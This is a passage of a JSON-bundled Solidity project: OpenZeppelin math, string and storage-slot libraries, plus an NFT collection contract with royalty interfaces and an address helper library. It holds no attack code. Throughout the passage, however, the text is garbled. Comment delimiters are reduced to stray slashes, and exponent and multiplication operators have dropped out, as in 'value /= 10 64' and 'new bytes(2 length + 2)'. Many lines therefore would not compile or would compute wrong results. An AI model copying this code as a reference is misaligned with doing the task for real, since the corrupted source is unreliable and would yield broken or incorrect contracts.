>> 16 > 0) {\n value >>= 16;\n result += 16;\n }\n if (value >> 8 > 0) {\n value >>= 8;\n result += 8;\n }\n if (value >> 4 > 0) {\n value >>= 4;\n result += 4;\n }\n if (value >> 2 > 0) {\n value >>= 2;\n result += 2;\n }\n if (value >> 1 > 0) {\n result += 1;\n }\n }\n return result;\n }\n\n /\n @dev Return the log in base 2, following the selected rounding direction, of a positive value.\n * Returns 0 if given 0.\n /\n function log2(uint256 value, Rounding rounding) internal pure returns (uint256) {\n unchecked {\n uint256 result = log2(value);\n return result + (rounding == Rounding.Up && 1 << result < value ? 1 : 0);\n }\n }\n\n /\n @dev Return the log in base 10, rounded down, of a positive value.\n * Returns 0 if given 0.\n /\n function log10(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n unchecked {\n if (value >= 10 * 64) {\n value /= 10 64;\n result += 64;\n }\n if (value >= 10 32) {\n value /= 10 32;\n result += 32;\n }\n if (value >= 10 16) {\n value /= 10 16;\n result += 16;\n }\n if (value >= 10 8) {\n value /= 10 8;\n result += 8;\n }\n if (value >= 10 4) {\n value /= 10 4;\n result += 4;\n }\n if (value >= 10 2) {\n value /= 10 2;\n result += 2;\n }\n if (value >= 10 1) {\n result += 1;\n }\n }\n return result;\n }\n\n /*\n @dev Return the log in base 10, following the selected rounding direction, of a positive value.\n * Returns 0 if given 0.\n /\n function log10(uint256 value, Rounding rounding) internal pure returns (uint256) {\n unchecked {\n uint256 result = log10(value);\n return result + (rounding == Rounding.Up && 10 * result < value ? 1 : 0);\n }\n }\n\n /*\n @dev Return the log in base 256, rounded down, of a positive value.\n * Returns 0 if given 0.\n \n Adding one to the result gives the number of pairs of hex symbols needed to represent `value` as a hex string.\n /\n function log256(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n unchecked {\n if (value >> 128 > 0) {\n value >>= 128;\n result += 16;\n }\n if (value >> 64 > 0) {\n value >>= 64;\n result += 8;\n }\n if (value >> 32 > 0) {\n value >>= 32;\n result += 4;\n }\n if (value >> 16 > 0) {\n value >>= 16;\n result += 2;\n }\n if (value >> 8 > 0) {\n result += 1;\n }\n }\n return result;\n }\n\n /\n @dev Return the log in base 256, following the selected rounding direction, of a positive value.\n * Returns 0 if given 0.\n /\n function log256(uint256 value, Rounding rounding) internal pure returns (uint256) {\n unchecked {\n uint256 result = log256(value);\n return result + (rounding == Rounding.Up && 1 << (result << 3) < value ? 1 : 0);\n }\n }\n}\n" }, "@openzeppelin/contracts-upgradeable/utils/math/SignedMathUpgradeable.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.8.0) (utils/math/SignedMath.sol)\n\npragma solidity ^0.8.0;\n\n/\n @dev Standard signed math utilities missing in the Solidity language.\n /\nlibrary SignedMathUpgradeable {\n /\n @dev Returns the largest of two signed numbers.\n /\n function max(int256 a, int256 b) internal pure returns (int256) {\n return a > b ? a : b;\n }\n\n /\n @dev Returns the smallest of two signed numbers.\n /\n function min(int256 a, int256 b) internal pure returns (int256) {\n return a < b ? a : b;\n }\n\n /\n @dev Returns the average of two signed numbers without overflow.\n * The result is rounded towards zero.\n /\n function average(int256 a, int256 b) internal pure returns (int256) {\n // Formula from the book \"Hacker's Delight\"\n int256 x = (a & b) + ((a ^ b) >> 1);\n return x + (int256(uint256(x) >> 255) & (a ^ b));\n }\n\n /\n @dev Returns the absolute unsigned value of a signed value.\n /\n function abs(int256 n) internal pure returns (uint256) {\n unchecked {\n // must be unchecked in order to support `n = type(int256).min`\n return uint256(n >= 0 ? n : -n);\n }\n }\n}\n" }, "@openzeppelin/contracts-upgradeable/utils/StringsUpgradeable.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (utils/Strings.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./math/MathUpgradeable.sol\";\nimport \"./math/SignedMathUpgradeable.sol\";\n\n/\n @dev String operations.\n /\nlibrary StringsUpgradeable {\n bytes16 private constant _SYMBOLS = \"0123456789abcdef\";\n uint8 private constant _ADDRESS_LENGTH = 20;\n\n /\n @dev Converts a `uint256` to its ASCII `string` decimal representation.\n /\n function toString(uint256 value) internal pure returns (string memory) {\n unchecked {\n uint256 length = MathUpgradeable.log10(value) + 1;\n string memory buffer = new string(length);\n uint256 ptr;\n /// @solidity memory-safe-assembly\n assembly {\n ptr := add(buffer, add(32, length))\n }\n while (true) {\n ptr--;\n /// @solidity memory-safe-assembly\n assembly {\n mstore8(ptr, byte(mod(value, 10), _SYMBOLS))\n }\n value /= 10;\n if (value == 0) break;\n }\n return buffer;\n }\n }\n\n /\n @dev Converts a `int256` to its ASCII `string` decimal representation.\n /\n function toString(int256 value) internal pure returns (string memory) {\n return string(abi.encodePacked(value < 0 ? \"-\" : \"\", toString(SignedMathUpgradeable.abs(value))));\n }\n\n /\n @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.\n /\n function toHexString(uint256 value) internal pure returns (string memory) {\n unchecked {\n return toHexString(value, MathUpgradeable.log256(value) + 1);\n }\n }\n\n /\n @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.\n /\n function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {\n bytes memory buffer = new bytes(2 length + 2);\n buffer[0] = \"0\";\n buffer[1] = \"x\";\n for (uint256 i = 2 * length + 1; i > 1; --i) {\n buffer[i] = _SYMBOLS[value & 0xf];\n value >>= 4;\n }\n require(value == 0, \"Strings: hex length insufficient\");\n return string(buffer);\n }\n\n /*\n @dev Converts an `address` with fixed length of 20 bytes to its not checksummed ASCII `string` hexadecimal representation.\n /\n function toHexString(address addr) internal pure returns (string memory) {\n return toHexString(uint256(uint160(addr)), _ADDRESS_LENGTH);\n }\n\n /\n @dev Returns true if the two strings are equal.\n /\n function equal(string memory a, string memory b) internal pure returns (bool) {\n return keccak256(bytes(a)) == keccak256(bytes(b));\n }\n}\n" }, "@openzeppelin/contracts/utils/ShortStrings.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (utils/ShortStrings.sol)\n\npragma solidity ^0.8.8;\n\nimport \"./StorageSlot.sol\";\n\n// \| string \| 0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \|\n// \| length \| 0x BB \|\ntype ShortString is bytes32;\n\n/\n @dev This library provides functions to convert short memory strings\n * into a `ShortString` type that can be used as an immutable variable.\n \n Strings of arbitrary length can be optimized using this library if\n * they are short enough (up to 31 bytes) by packing them with their\n * length (1 byte) in a single EVM word (32 bytes). Additionally, a\n * fallback mechanism can be used for every other case.\n \n Usage example:\n \n ```solidity\n * contract Named {\n * using ShortStrings for ;\n \n * ShortString private immutable _name;\n * string private _nameFallback;\n \n constructor(string memory contractName) {\n * _name = contractName.toShortStringWithFallback(_nameFallback);\n * }\n \n function name() external view returns (string memory) {\n * return _name.toStringWithFallback(_nameFallback);\n * }\n * }\n * ```\n /\nlibrary ShortStrings {\n // Used as an identifier for strings longer than 31 bytes.\n bytes32 private constant _FALLBACK_SENTINEL = 0x00000000000000000000000000000000000000000000000000000000000000FF;\n\n error StringTooLong(string str);\n error InvalidShortString();\n\n /\n @dev Encode a string of at most 31 chars into a `ShortString`.\n \n This will trigger a `StringTooLong` error is the input string is too long.\n /\n function toShortString(string memory str) internal pure returns (ShortString) {\n bytes memory bstr = bytes(str);\n if (bstr.length > 31) {\n revert StringTooLong(str);\n }\n return ShortString.wrap(bytes32(uint256(bytes32(bstr)) \| bstr.length));\n }\n\n /\n @dev Decode a `ShortString` back to a \"normal\" string.\n /\n function toString(ShortString sstr) internal pure returns (string memory) {\n uint256 len = byteLength(sstr);\n // using `new string(len)` would work locally but is not memory safe.\n string memory str = new string(32);\n /// @solidity memory-safe-assembly\n assembly {\n mstore(str, len)\n mstore(add(str, 0x20), sstr)\n }\n return str;\n }\n\n /\n @dev Return the length of a `ShortString`.\n /\n function byteLength(ShortString sstr) internal pure returns (uint256) {\n uint256 result = uint256(ShortString.unwrap(sstr)) & 0xFF;\n if (result > 31) {\n revert InvalidShortString();\n }\n return result;\n }\n\n /\n @dev Encode a string into a `ShortString`, or write it to storage if it is too long.\n /\n function toShortStringWithFallback(string memory value, string storage store) internal returns (ShortString) {\n if (bytes(value).length < 32) {\n return toShortString(value);\n } else {\n StorageSlot.getStringSlot(store).value = value;\n return ShortString.wrap(_FALLBACK_SENTINEL);\n }\n }\n\n /\n @dev Decode a string that was encoded to `ShortString` or written to storage using {setWithFallback}.\n /\n function toStringWithFallback(ShortString value, string storage store) internal pure returns (string memory) {\n if (ShortString.unwrap(value) != _FALLBACK_SENTINEL) {\n return toString(value);\n } else {\n return store;\n }\n }\n\n /\n @dev Return the length of a string that was encoded to `ShortString` or written to storage using {setWithFallback}.\n \n WARNING: This will return the \"byte length\" of the string. This may not reflect the actual length in terms of\n * actual characters as the UTF-8 encoding of a single character can span over multiple bytes.\n /\n function byteLengthWithFallback(ShortString value, string storage store) internal view returns (uint256) {\n if (ShortString.unwrap(value) != _FALLBACK_SENTINEL) {\n return byteLength(value);\n } else {\n return bytes(store).length;\n }\n }\n}\n" }, "@openzeppelin/contracts/utils/StorageSlot.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (utils/StorageSlot.sol)\n// This file was procedurally generated from scripts/generate/templates/StorageSlot.js.\n\npragma solidity ^0.8.0;\n\n/\n @dev Library for reading and writing primitive types to specific storage slots.\n \n Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.\n * This library helps with reading and writing to such slots without the need for inline assembly.\n \n The functions in this library return Slot structs that contain a `value` member that can be used to read or write.\n \n Example usage to set ERC1967 implementation slot:\n * ```solidity\n * contract ERC1967 {\n * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;\n \n function _getImplementation() internal view returns (address) {\n * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;\n * }\n \n function _setImplementation(address newImplementation) internal {\n * require(Address.isContract(newImplementation), \"ERC1967: new implementation is not a contract\");\n * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;\n * }\n * }\n * ```\n \n _Available since v4.1 for `address`, `bool`, `bytes32`, `uint256`._\n * _Available since v4.9 for `string`, `bytes`._\n /\nlibrary StorageSlot {\n struct AddressSlot {\n address value;\n }\n\n struct BooleanSlot {\n bool value;\n }\n\n struct Bytes32Slot {\n bytes32 value;\n }\n\n struct Uint256Slot {\n uint256 value;\n }\n\n struct StringSlot {\n string value;\n }\n\n struct BytesSlot {\n bytes value;\n }\n\n /\n @dev Returns an `AddressSlot` with member `value` located at `slot`.\n /\n function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n\n /\n @dev Returns an `BooleanSlot` with member `value` located at `slot`.\n /\n function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n\n /\n @dev Returns an `Bytes32Slot` with member `value` located at `slot`.\n /\n function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n\n /\n @dev Returns an `Uint256Slot` with member `value` located at `slot`.\n /\n function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n\n /\n @dev Returns an `StringSlot` with member `value` located at `slot`.\n /\n function getStringSlot(bytes32 slot) internal pure returns (StringSlot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n\n /\n @dev Returns an `StringSlot` representation of the string storage pointer `store`.\n /\n function getStringSlot(string storage store) internal pure returns (StringSlot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := store.slot\n }\n }\n\n /\n @dev Returns an `BytesSlot` with member `value` located at `slot`.\n /\n function getBytesSlot(bytes32 slot) internal pure returns (BytesSlot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n\n /\n @dev Returns an `BytesSlot` representation of the bytes storage pointer `store`.\n /\n function getBytesSlot(bytes storage store) internal pure returns (BytesSlot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := store.slot\n }\n }\n}\n" }, "contracts/collectionTemplates/NFTCollection.sol": { "content": "// SPDX-License-Identifier: MIT OR Apache-2.0\n\npragma solidity ^0.8.18;\n\nimport \"@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol\";\nimport \"@openzeppelin/contracts-upgradeable/token/ERC721/ERC721Upgradeable.sol\";\nimport \"@openzeppelin/contracts-upgradeable/token/ERC721/extensions/ERC721BurnableUpgradeable.sol\";\nimport \"@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol\";\nimport \"@openzeppelin/contracts-upgradeable/utils/introspection/ERC165Upgradeable.sol\";\n\nimport \"../interfaces/internal/INFTCollectionInitializer.sol\";\n\nimport \"../libraries/AddressLibrary.sol\";\n\nimport \"../mixins/collections/CollectionRoyalties.sol\";\nimport \"../mixins/collections/NFTCollectionType.sol\";\nimport \"../mixins/collections/SequentialMintCollection.sol\";\nimport \"../mixins/collections/TokenLimitedCollection.sol\";\nimport \"../mixins/shared/ContractFactory.sol\";\n\nerror NFTCollection_Max_Token_Id_Has_Already_Been_Minted(uint256 maxTokenId);\nerror NFTCollection_Token_CID_Already_Minted();\nerror NFTCollection_Token_CID_Required();\nerror NFTCollection_Token_Creator_Payment_Address_Required();\n\n/\n @title A collection of 1:1 NFTs by a single creator.\n * @notice A 10% royalty to the creator is included which may be split with collaborators on a per-NFT basis.\n * @author batu-inal & HardlyDifficult\n /\ncontract NFTCollection is\n INFTCollectionInitializer,\n ContractFactory,\n Initializable,\n ERC165Upgradeable,\n ERC721Upgradeable,\n ERC721BurnableUpgradeable,\n NFTCollectionType,\n SequentialMintCollection,\n TokenLimitedCollection,\n CollectionRoyalties\n{\n using AddressLibrary for address;\n using AddressUpgradeable for address;\n\n /\n @notice The baseURI to use for the tokenURI, if undefined then `ipfs://` is used.\n /\n string private baseURI_;\n\n /\n @notice Stores hashes minted to prevent duplicates.\n * @dev 0 means not yet minted, set to 1 when minted.\n * For why using uint is better than using bool here:\n * github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.7.3/contracts/security/ReentrancyGuard.sol#L23-L27\n /\n mapping(string => uint256) private cidToMinted;\n\n /\n @dev Stores an optional alternate address to receive creator revenue and royalty payments.\n * The target address may be a contract which could split or escrow payments.\n /\n mapping(uint256 => address payable) private tokenIdToCreatorPaymentAddress;\n\n /\n @dev Stores a CID for each NFT.\n /\n mapping(uint256 => string) private _tokenCIDs;\n\n /\n @notice Emitted when the owner changes the base URI to be used for NFTs in this collection.\n * @param baseURI The new base URI to use.\n /\n event BaseURIUpdated(string baseURI);\n\n /\n @notice Emitted when a new NFT is minted.\n * @param creator The address of the collection owner at this time this NFT was minted.\n * @param tokenId The tokenId of the newly minted NFT.\n * @param indexedTokenCID The CID of the newly minted NFT, indexed to enable watching for mint events by the tokenCID.\n * @param tokenCID The actual CID of the newly minted NFT.\n /\n event Minted(address indexed creator, uint256 indexed tokenId, string indexed indexedTokenCID, string tokenCID);\n\n /\n @notice Emitted when the payment address for creator royalties is set.\n * @param fromPaymentAddress The original address used for royalty payments.\n * @param toPaymentAddress The new address used for royalty payments.\n * @param tokenId The NFT which had the royalty payment address updated.\n /\n event TokenCreatorPaymentAddressSet(\n address indexed fromPaymentAddress,\n address indexed toPaymentAddress,\n uint256 indexed tokenId\n );\n\n /\n @notice Initialize the template's immutable variables.\n * @param _contractFactory The factory which will be used to create collection contracts.\n /\n constructor(address _contractFactory) ContractFactory(_contractFactory) NFTCollectionType(NFT_COLLECTION_TYPE) {\n // The template will be initialized by the factory when it's registered for use.\n }\n\n /\n @notice Called by the contract factory on creation.\n * @param _creator The creator of this collection.\n * @param _name The collection's `name`.\n * @param _symbol The collection's `symbol`.\n /\n function initialize(\n address payable _creator,\n string calldata _name,\n string calldata _symbol\n ) external initializer onlyContractFactory {\n __ERC721_init(_name, _symbol);\n _initializeSequentialMintCollection(_creator);\n // maxTokenId defaults to 0 but may be assigned later on.\n }\n\n /\n @notice Mint an NFT defined by its metadata path.\n * @dev This is only callable by the collection creator/owner.\n * @param tokenCID The CID for the metadata json of the NFT to mint.\n * @return tokenId The tokenId of the newly minted NFT.\n /\n function mint(string calldata tokenCID) external returns (uint256 tokenId) {\n tokenId = _mint(tokenCID);\n }\n\n /\n @notice Mint an NFT defined by its metadata path and approves the provided operator address.\n * @dev This is only callable by the collection creator/owner.\n * It can be used the first time they mint to save having to issue a separate approval\n * transaction before listing the NFT for sale.\n * @param tokenCID The CID for the metadata json of the NFT to mint.\n * @param operator The address to set as an approved operator for the creator's account.\n * @return tokenId The tokenId of the newly minted NFT.\n /\n function mintAndApprove(string calldata tokenCID, address operator) external returns (uint256 tokenId) {\n tokenId = _mint(tokenCID);\n setApprovalForAll(operator, true);\n }\n\n /\n @notice Mint an NFT defined by its metadata path and have creator revenue/royalties sent to an alternate address.\n * @dev This is only callable by the collection creator/owner.\n * @param tokenCID The CID for the metadata json of the NFT to mint.\n * @param tokenCreatorPaymentAddress The royalty recipient address to use for this NFT.\n * @return tokenId The tokenId of the newly minted NFT.\n /\n function mintWithCreatorPaymentAddress(\n string calldata tokenCID,\n address payable tokenCreatorPaymentAddress\n ) public returns (uint256 tokenId) {\n if (tokenCreatorPaymentAddress == address(0)) {\n revert NFTCollection_Token_Creator_Payment_Address_Required();\n }\n tokenId = _mint(tokenCID);\n tokenIdToCreatorPaymentAddress[tokenId] = tokenCreatorPaymentAddress;\n emit TokenCreatorPaymentAddressSet(address(0), tokenCreatorPaymentAddress, tokenId);\n }\n\n /\n @notice Mint an NFT defined by its metadata path and approves the provided operator address.\n * @dev This is only callable by the collection creator/owner.\n * It can be used the first time they mint to save having to issue a separate approval\n * transaction before listing the NFT for sale.\n * @param tokenCID The CID for the metadata json of the NFT to mint.\n * @param tokenCreatorPaymentAddress The royalty recipient address to use for this NFT.\n * @param operator The address to set as an approved operator for the creator's account.\n * @return tokenId The tokenId of the newly minted NFT.\n /\n function mintWithCreatorPaymentAddressAndApprove(\n string calldata tokenCID,\n address payable tokenCreatorPaymentAddress,\n address operator\n ) external returns (uint256 tokenId) {\n tokenId = mintWithCreatorPaymentAddress(tokenCID, tokenCreatorPaymentAddress);\n setApprovalForAll(operator, true);\n }\n\n /\n @notice Mint an NFT defined by its metadata path and have creator revenue/royalties sent to an alternate address\n * which is defined by a contract call, typically a proxy contract address representing the payment terms.\n * @dev This is only callable by the collection creator/owner.\n * @param tokenCID The CID for the metadata json of the NFT to mint.\n * @param paymentAddressFactory The contract to call which will return the address to use for payments.\n * @param paymentAddressCall The call details to send to the factory provided.\n * @return tokenId The tokenId of the newly minted NFT.\n /\n function mintWithCreatorPaymentFactory(\n string calldata tokenCID,\n address paymentAddressFactory,\n bytes calldata paymentAddressCall\n ) public returns (uint256 tokenId) {\n address payable tokenCreatorPaymentAddress = paymentAddressFactory.callAndReturnContractAddress(paymentAddressCall);\n tokenId = mintWithCreatorPaymentAddress(tokenCID, tokenCreatorPaymentAddress);\n }\n\n /\n @notice Mint an NFT defined by its metadata path and have creator revenue/royalties sent to an alternate address\n * which is defined by a contract call, typically a proxy contract address representing the payment terms.\n * @dev This is only callable by the collection creator/owner.\n * It can be used the first time they mint to save having to issue a separate approval\n * transaction before listing the NFT for sale.\n * @param tokenCID The CID for the metadata json of the NFT to mint.\n * @param paymentAddressFactory The contract to call which will return the address to use for payments.\n * @param paymentAddressCall The call details to send to the factory provided.\n * @param operator The address to set as an approved operator for the creator's account.\n * @return tokenId The tokenId of the newly minted NFT.\n /\n function mintWithCreatorPaymentFactoryAndApprove(\n string calldata tokenCID,\n address paymentAddressFactory,\n bytes calldata paymentAddressCall,\n address operator\n ) external returns (uint256 tokenId) {\n tokenId = mintWithCreatorPaymentFactory(tokenCID, paymentAddressFactory, paymentAddressCall);\n setApprovalForAll(operator, true);\n }\n\n /\n @notice Allows the collection creator to destroy this contract only if\n * no NFTs have been minted yet or the minted NFTs have been burned.\n * @dev Once destructed, a new collection could be deployed to this address (although that's discouraged).\n /\n function selfDestruct() external onlyOwner {\n _selfDestruct();\n }\n\n /\n @notice Allows the owner to assign a baseURI to use for the tokenURI instead of the default `ipfs://`.\n * @param baseURIOverride The new base URI to use for all NFTs in this collection.\n /\n function updateBaseURI(string calldata baseURIOverride) external onlyOwner {\n baseURI_ = baseURIOverride;\n\n emit BaseURIUpdated(baseURIOverride);\n }\n\n /\n @notice Allows the owner to set a max tokenID.\n * This provides a guarantee to collectors about the limit of this collection contract, if applicable.\n * @dev Once this value has been set, it may be decreased but can never be increased.\n * This max may be more than the final `totalSupply` if 1 or more tokens were burned.\n * @param _maxTokenId The max tokenId to set, all NFTs must have a tokenId less than or equal to this value.\n /\n function updateMaxTokenId(uint32 _maxTokenId) external onlyOwner {\n _updateMaxTokenId(_maxTokenId);\n }\n\n /\n @inheritdoc ERC721Upgradeable\n * @dev The function here asserts `onlyOwner` while the super confirms ownership.\n /\n function _burn(uint256 tokenId) internal override(ERC721Upgradeable, SequentialMintCollection) onlyOwner {\n delete cidToMinted[_tokenCIDs[tokenId]];\n delete tokenIdToCreatorPaymentAddress[tokenId];\n delete _tokenCIDs[tokenId];\n super._burn(tokenId);\n }\n\n function _mint(string calldata tokenCID) private onlyOwner returns (uint256 tokenId) {\n if (bytes(tokenCID).length == 0) {\n revert NFTCollection_Token_CID_Required();\n }\n if (cidToMinted[tokenCID] != 0) {\n revert NFTCollection_Token_CID_Already_Minted();\n }\n // If the mint will exceed uint32, the addition here will overflow. But it's not realistic to mint that many tokens.\n tokenId = ++latestTokenId;\n if (maxTokenId != 0 && tokenId > maxTokenId) {\n revert NFTCollection_Max_Token_Id_Has_Already_Been_Minted(maxTokenId);\n }\n cidToMinted[tokenCID] = 1;\n _tokenCIDs[tokenId] = tokenCID;\n _safeMint(msg.sender, tokenId);\n emit Minted(msg.sender, tokenId, tokenCID, tokenCID);\n }\n\n /\n @notice The base URI used for all NFTs in this collection.\n * @dev The `tokenCID` is appended to this to obtain an NFT's `tokenURI`.\n * e.g. The URI for a token with the `tokenCID`: \"foo\" and `baseURI`: \"ipfs://\" is \"ipfs://foo\".\n * @return uri The base URI used by this collection.\n /\n function baseURI() external view returns (string memory uri) {\n uri = _baseURI();\n }\n\n /\n @notice Checks if the creator has already minted a given NFT using this collection contract.\n * @param tokenCID The CID to check for.\n * @return hasBeenMinted True if the creator has already minted an NFT with this CID.\n /\n function getHasMintedCID(string calldata tokenCID) external view returns (bool hasBeenMinted) {\n hasBeenMinted = cidToMinted[tokenCID] != 0;\n }\n\n /\n @inheritdoc CollectionRoyalties\n /\n function getTokenCreatorPaymentAddress(\n uint256 tokenId\n ) public view override returns (address payable creatorPaymentAddress) {\n creatorPaymentAddress = tokenIdToCreatorPaymentAddress[tokenId];\n if (creatorPaymentAddress == address(0)) {\n creatorPaymentAddress = owner;\n }\n }\n\n /\n @inheritdoc IERC165Upgradeable\n /\n function supportsInterface(\n bytes4 interfaceId\n )\n public\n view\n override(ERC165Upgradeable, ERC721Upgradeable, NFTCollectionType, CollectionRoyalties)\n returns (bool interfaceSupported)\n {\n interfaceSupported = super.supportsInterface(interfaceId);\n }\n\n /\n @inheritdoc IERC721MetadataUpgradeable\n /\n function tokenURI(uint256 tokenId) public view override returns (string memory uri) {\n _requireMinted(tokenId);\n\n uri = string.concat(_baseURI(), _tokenCIDs[tokenId]);\n }\n\n function _baseURI() internal view override returns (string memory uri) {\n uri = baseURI_;\n if (bytes(uri).length == 0) {\n uri = \"ipfs://\";\n }\n }\n}\n" }, "contracts/interfaces/internal/INFTCollectionInitializer.sol": { "content": "// SPDX-License-Identifier: MIT OR Apache-2.0\n\npragma solidity ^0.8.18;\n\n/\n @title Declares the interface for initializing an NFTCollection contract.\n * @author batu-inal & HardlyDifficult\n /\ninterface INFTCollectionInitializer {\n function initialize(address payable _creator, string memory _name, string memory _symbol) external;\n}\n" }, "contracts/interfaces/internal/INFTCollectionType.sol": { "content": "// SPDX-License-Identifier: MIT OR Apache-2.0\n\npragma solidity ^0.8.18;\n\n/\n @title Declares the type of the collection contract.\n * @dev This interface is declared as an ERC-165 interface.\n * @author reggieag\n /\ninterface INFTCollectionType {\n function getNFTCollectionType() external view returns (string memory collectionType);\n}\n" }, "contracts/interfaces/standards/royalties/IGetFees.sol": { "content": "// SPDX-License-Identifier: MIT OR Apache-2.0\n\npragma solidity ^0.8.18;\n\n/\n @notice An interface for communicating fees to 3rd party marketplaces.\n * @dev Originally implemented in mainnet contract 0x44d6e8933f8271abcf253c72f9ed7e0e4c0323b3\n /\ninterface IGetFees {\n /\n @notice Get the recipient addresses to which creator royalties should be sent.\n * @dev The expected royalty amounts are communicated with `getFeeBps`.\n * @param tokenId The ID of the NFT to get royalties for.\n * @return recipients An array of addresses to which royalties should be sent.\n /\n function getFeeRecipients(uint256 tokenId) external view returns (address payable[] memory recipients);\n\n /\n @notice Get the creator royalty amounts to be sent to each recipient, in basis points.\n * @dev The expected recipients are communicated with `getFeeRecipients`.\n * @param tokenId The ID of the NFT to get royalties for.\n * @return royaltiesInBasisPoints The array of fees to be sent to each recipient, in basis points.\n /\n function getFeeBps(uint256 tokenId) external view returns (uint256[] memory royaltiesInBasisPoints);\n}\n" }, "contracts/interfaces/standards/royalties/IGetRoyalties.sol": { "content": "// SPDX-License-Identifier: MIT OR Apache-2.0\n\npragma solidity ^0.8.18;\n\ninterface IGetRoyalties {\n /\n @notice Get the creator royalties to be sent.\n * @dev The data is the same as when calling `getFeeRecipients` and `getFeeBps` separately.\n * @param tokenId The ID of the NFT to get royalties for.\n * @return recipients An array of addresses to which royalties should be sent.\n * @return royaltiesInBasisPoints The array of fees to be sent to each recipient, in basis points.\n /\n function getRoyalties(\n uint256 tokenId\n ) external view returns (address payable[] memory recipients, uint256[] memory royaltiesInBasisPoints);\n}\n" }, "contracts/interfaces/standards/royalties/IRoyaltyInfo.sol": { "content": "// SPDX-License-Identifier: MIT OR Apache-2.0\n\npragma solidity ^0.8.18;\n\n/\n @notice Interface for EIP-2981: NFT Royalty Standard.\n * For more see: https://eips.ethereum.org/EIPS/eip-2981.\n /\ninterface IRoyaltyInfo {\n /\n @notice Get the creator royalties to be sent.\n * @param tokenId The ID of the NFT to get royalties for.\n * @param salePrice The total price of the sale.\n * @return receiver The address to which royalties should be sent.\n * @return royaltyAmount The total amount that should be sent to the `receiver`.\n /\n function royaltyInfo(\n uint256 tokenId,\n uint256 salePrice\n ) external view returns (address receiver, uint256 royaltyAmount);\n}\n" }, "contracts/interfaces/standards/royalties/ITokenCreator.sol": { "content": "// SPDX-License-Identifier: MIT OR Apache-2.0\n\npragma solidity ^0.8.18;\n\ninterface ITokenCreator {\n /\n @notice Returns the creator of this NFT collection.\n * @param tokenId The ID of the NFT to get the creator payment address for.\n * @return creator The creator of this collection.\n /\n function tokenCreator(uint256 tokenId) external view returns (address payable creator);\n}\n" }, "contracts/libraries/AddressLibrary.sol": { "content": "// SPDX-License-Identifier: MIT OR Apache-2.0\n\npragma solidity ^0.8.18;\n\nimport \"@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol\";\n\nstruct CallWithoutValue {\n address target;\n bytes callData;\n}\n\nerror AddressLibrary_Proxy_Call_Did_Not_Return_A_Contract(address addressReturned);\n\n/\n @title A library for address helpers not already covered by the OZ library.\n * @author batu-inal & HardlyDifficult\n /\nlibrary AddressLibrary {\n using AddressUpgradeable for address;\n using AddressUpgradeable for address payable;\n\n /\n @notice Calls an external contract with arbitrary data and parse the return value into an address.\n * @param externalContract The address of the contract to call.\n * @param callData The data to send to the contract.\n * @return contractAddress The address of the contract returned by the call.\n /\n function callAndReturnContractAddress(\n address externalContract,\n bytes calldata callData\n ) internal returns (address payable contractAddress) {\n bytes memory returnData = externalContract.functionCall(callData);\n contractAddress = abi.decode(returnData, (address));\n if (!contractAddress.isContract()) {\n revert AddressLibrary_Proxy_Call_Did_Not_Return_A_Contract(contractAddress);\n }\n }\n\n function callAndReturnContractAddress(\n CallWithoutValue calldata call\n ) internal returns (address payable contractAddress) {\n contractAddress = callAndReturnContractAddress(call.target, call.callData);\n }\n}\n" }, "contracts/mixins/collections/CollectionRoyalties.sol": { "content": "// SPDX-License-Identifier: MIT OR Apache-2.0\n\npragma solidity ^0.8.18;\n\nimport \"@openzeppelin/contracts-upgradeable/utils/introspection/ERC165Upgradeable.sol\";\n\nimport \"../../interfaces/standards/royalties/IGetFees.sol\";\nimport \"../../interfaces/standards/royalties/IGetRoyalties.sol\";\nimport \"../../interfaces/standards/royalties/IRoyaltyInfo.sol\";\nimport \"../../interfaces/standards/royalties/ITokenCreator.sol\";\n\nimport \"../shared/Constants.sol\";\n\n/\n @title Defines various royalty APIs for broad marketplace support.\n * @author batu-inal & HardlyDifficult\n /\nabstract contract CollectionRoyalties is IGetRoyalties, IGetFees, IRoyaltyInfo, ITokenCreator, ERC165Upgradeable {\n /\n @inheritdoc IGetFees\n /\n function getFeeRecipients(uint256 tokenId) external view returns (address payable[] memory recipients) {\n recipients = new address payable[](1);\n recipients[0] = getTokenCreatorPaymentAddress(tokenId);\n }\n\n /\n @inheritdoc IGetFees\n * @dev The tokenId param is ignored since all NFTs return the same value.\n /\n function getFeeBps(uint256 / tokenId /) external pure returns (uint256[] memory 